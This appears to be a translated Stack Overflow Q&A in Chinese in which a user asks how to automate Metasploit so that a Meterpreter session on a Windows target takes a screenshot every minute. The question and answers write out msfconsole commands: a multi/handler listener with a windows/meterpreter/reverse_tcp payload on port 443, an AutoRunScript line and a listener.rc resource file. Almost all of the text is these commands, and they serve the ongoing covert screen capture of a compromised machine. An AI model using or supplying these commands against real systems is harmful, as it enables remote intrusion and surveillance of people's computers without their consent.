我想每分钟自动运行一次metrpreter命令,不幸的是,我没有足够的编程技能来编写bash脚本或python。例如,我希望自动执行这些操作:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit
Meterpreter session 1 opened
meterpreter > screenshot 实际上每分钟都会自动截取屏幕截图
发布于 2017-09-09 00:20:02
做一些事情,比如
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
set AutoRunScript multi_console_command -rc commands.rc
exploit -j -z而在commands.rc中,将meterpreter命令放入一行
发布于 2017-07-30 23:33:59
我们可以做listener.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit -j -z然后运行:
msfconsole -r ~/listener.rc
但是如何添加meterpreter命令呢?
https://stackoverflow.com/questions/45400015
复制相似问题